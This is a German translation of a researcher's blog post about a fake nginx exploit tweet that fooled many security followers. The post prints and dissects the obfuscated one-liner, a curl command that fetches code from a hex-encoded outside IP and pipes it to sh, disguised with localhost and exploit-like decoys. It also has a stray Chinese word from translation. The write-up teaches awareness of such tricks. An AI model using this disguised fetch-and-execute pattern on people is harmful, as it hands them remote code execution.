Erfolg des sozialen Experiments mit einem gefälschten Exploit für nginx

Anmerkung des Übersetzers.: Autor In seiner ursprünglichen Anmerkung, veröffentlicht am 1. Juni, entschloss sich, ein Experiment in der Gruppe von Interessierten an Informationssicherheit durchzuführen. Zu diesem Zweck bereitete er einen gefälschten Exploit für eine nicht offengelegte Schwachstelle im Webserver vor und veröffentlichte ihn auf seinem Twitter. Seine Vermutungen — sofort von Fachleuten enttarnt zu werden, die den offensichtlichen Betrug im Code sehen würden — bewahrheiteten sich nicht nur nicht… Sie übertrafen alle Erwartungen, zwar in die entgegengesetzte Richtung: Der Tweet erhielt enorme Unterstützung von zahlreichen Menschen, die seinen Inhalt nicht überprüften.

TL;DR: Verwenden Sie auf keinen Fall das File-Pipelining in sh oder bash. Das ist eine hervorragende Möglichkeit, die Kontrolle über einen Computer zu verlieren.

Ich möchte eine kleine Geschichte über einen humorvollen PoC-Exploit teilen, der am 31. Mai erstellt wurde. Er erschien umgehend als Antwort auf die Nachricht von Alisa Esage Schewtschenko, Mitglied der Zero Day Initiative (ZDI), dass bald Informationen über eine Schwachstelle in NGINX veröffentlicht werden, die zu RCE (Remote Code Execution) führt. Da NGINX die Grundlage vieler Webseiten bildet, sollte die Nachricht wie eine Bombe einschlagen. Aber aufgrund von Verzögerungen im Prozess der „verantwortungsvollen Offenlegung“ waren die Details des Vorfalls nicht bekannt — dies ist das Standardverfahren der ZDI.

Tweet über die Offenlegung der Schwachstelle in NGINX

Nachdem ich an einer neuen Technik zur Obfuskation in curl gearbeitet hatte, zitierte ich den ursprünglichen Tweet und "leckten den funktionierenden PoC", der aus einer einzigen Codezeile bestand, die angeblich die entdeckte Schwachstelle ausnutzte. Natürlich war das kompletter Unsinn. Ich dachte, ich würde sofort entlarvt werden, und im besten Fall würde ich ein paar Retweets bekommen (na gut).

Tweet mit gefälschtem Exploit

Aber ich konnte mir nicht vorstellen, was als Nächstes geschah. Die Popularität meines Tweets schoss in die Höhe. Erstaunlicherweise hat bis jetzt (15:00 MSK am 1. Juni) kaum jemand realisiert, dass es ein Fake ist. Viele retweeteten ihn ohne jede Überprüfung (ganz zu schweigen davon, dass sie sich die schöne ASCII-Grafik, die er ausgibt, angesehen haben).

Schauen Sie sich nur diese Schönheit an!

Obwohl all diese Zyklen und Farben bemerkenswert sind, ist es offensichtlich, dass die Menschen den Code auf ihrem eigenen Rechner ausgeführt haben, um sie zu sehen. Glücklicherweise funktionieren Browser ähnlich, und in Anbetracht der Tatsache, dass ich keine rechtlichen Probleme brauche, machte der Code, der in meiner Website eingebettet war, lediglich Echo-Aufrufe, ohne zu versuchen, irgendeinen weiteren Code zu installieren oder auszuführen.

Ein kleiner Einschub: netspooky, dnz, ich und andere Jungs aus dem Team Thugcrowd spielen schon eine Weile mit verschiedenen Möglichkeiten zur Obfuskation von cURL-Befehlen, weil es Spaß macht… und wir sind Geeks. netspooky und dnz haben einige neue Methoden entdeckt, die mir äußerst vielversprechend erschienen. Ich habe mich dem Spaß angeschlossen und versucht, IP-dezimale Umwandlungen zu dem Trickset hinzuzufügen. Es stellte sich heraus, dass IPs auch in ein hexadezimales Format umgewandelt werden können. Darüber hinaus „fressen“ cURL und die meisten anderen NIX-Tools bereitwillig hexadezimale IPs! Daher musste man nur eine überzeugende und sicher aussehende Kommandozeile erstellen. Letztendlich entschied ich mich für diese:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../....//nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Sozio-elektronische Ingenieurskunst (S.E.E.) – mehr als nur Phishing

Sicherheit und Vertrautheit waren der Hauptbestandteil dieses Experiments. Ich denke, genau das führte zu seinem Erfolg. Die Kommandozeile implizierte eindeutig Sicherheit, indem sie auf „127.0.0.1“ (allseits bekannt als localhost) verwies. localhost gilt als sicher und die Daten darauf verlassen nie Ihren Computer.

Vertrautheit war der zweite Schlüsselkomponenten von S.E.E. des Experiments. Da das Zielpublikum hauptsächlich aus Menschen bestand, die mit den Grundlagen der Computersicherheit vertraut sind, war es wichtig, den Code so zu gestalten, dass seine Teile bekannt und vertraut (und damit sicher) wirken. Die Übernahme von Elementen alter Exploit-Konzepte und deren ungewöhnliche Kombination erwies sich als sehr erfolgreich.

Im Folgenden finden Sie eine detaillierte Analyse des Einzeilers. Alles in dieser Liste hat eine kosmetische Natur, und für seine tatsächliche Funktion ist nahezu nichts erforderlich.

Welche Komponenten sind wirklich notwendig? Dies sind -gsS, -O 0x0238f06a, |sh und der Webserver selbst. Der Webserver enthielt keine schädlichen Anweisungen, sondern übermittelte einfach ASCII-Grafiken mit Hilfe von Befehlen echo im Skript, das sich in index.htmlbefand. Als der Benutzer eine Zeichenfolge mit |sh in der Mitte eingab, index.html wurde sie geladen und ausgeführt. Glücklicherweise hatten die Wächter des Webservers keine bösen Absichten.

• ../../../%00 — stellt einen Verlass auf das Verzeichnis dar;
• ngx_stream_module.so — der Pfad zu einem zufälligen NGINX-Modul;
• /bin/sh%00<'protocol:TCP' — wir starten angeblich /bin/sh auf der Zielmaschine und leiten die Ausgabe in einen TCP-Kanal um;
• -O 0x0238f06a#PLToffset — ein geheimer Bestandteil, ergänzt um #PLToffset, um wie ein Speicheroffset auszusehen, das in irgendeiner Weise im PLT enthalten ist;
• |sh; — ein weiterer wichtiger Teil. Wir mussten die Ausgabe in sh/bash umleiten, um den Code zu执行, der vom angreifenden Webserver, der über die Adresse 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost — ein Platzhalter, in dem netcat auf verweist, /dev/tcp/localhost, damit alles wieder sicher aussieht. Tatsächlich tut es jedoch nichts und ist nur aus ästhetischen Gründen in der Zeichenfolge enthalten.

Damit endet die Entschlüsselung des Einzeilerskripts und die Diskussion über die Aspekte der "sozio-elektronischen Ingenieurkunst" (ausgeklügeltes Phishing).

Konfiguration des Webservers und Gegenmaßnahmen

Da die überwiegende Mehrheit meiner Abonnenten Informationssicherheitsexperten/Hacker sind, habe ich beschlossen, den Webserver etwas widerstandsfähiger gegen "Interesse" von ihrer Seite zu machen, einfach damit die Jungs etwas zu tun haben (und es macht Spaß, ihn einzurichten). Ich werde hier nicht alle Fallen auflisten, da das Experiment noch andauert, aber hier sind einige Dinge, die der Server tut:

• Überwacht aktiv Versuche auf bestimmten sozialen Netzwerken und fügt verschiedene Vorschaubilder ein, um den Benutzer zu ermutigen, dem Link zu folgen.
• Leitet Chrome/Mozilla/Safari/usw. auf einen Werbefilm von Thugcrowd um, anstatt das Shell-Skript anzuzeigen.
• Beobachtet EVIDENTE Anzeichen für Eindringen/brutalen Hack, wonach er anfängt, Anfragen an die NSA-Server umzuleiten (Haha!).
• Installiert ein Trojanisches Pferd sowie ein BIOS-Rootkit auf allen Computern, deren Benutzer einen Host mit einem normalen Browser besuchen (Witz!).

Ein kleiner Teil von Anti-Malware

In diesem Fall war mein einziges Ziel, einige Funktionen von Apache zu erkunden - insbesondere coole Weiterleitungsregeln - und ich dachte, warum nicht?

NGINX-Exploit (echt!)

Folgen Sie @alisaesage auf Twitter und verfolgen Sie die großartige Arbeit von ZDI bei der Behebung realer Schwachstellen und Exploit-Möglichkeiten in NGINX. Ihre Arbeit hat mich immer fasziniert, und ich bin Alisa dankbar für die Geduld im Zusammenhang mit all den Erwähnungen und Benachrichtigungen, die durch meinen dummen Tweet ausgelöst wurden. Glücklicherweise brachte er auch gewissen Nutzen: Er half, das Bewusstsein für die Schwachstellen von NGINX und die Probleme, die durch den Missbrauch von curl verursacht werden, zu erhöhen.

Quelle: habr.com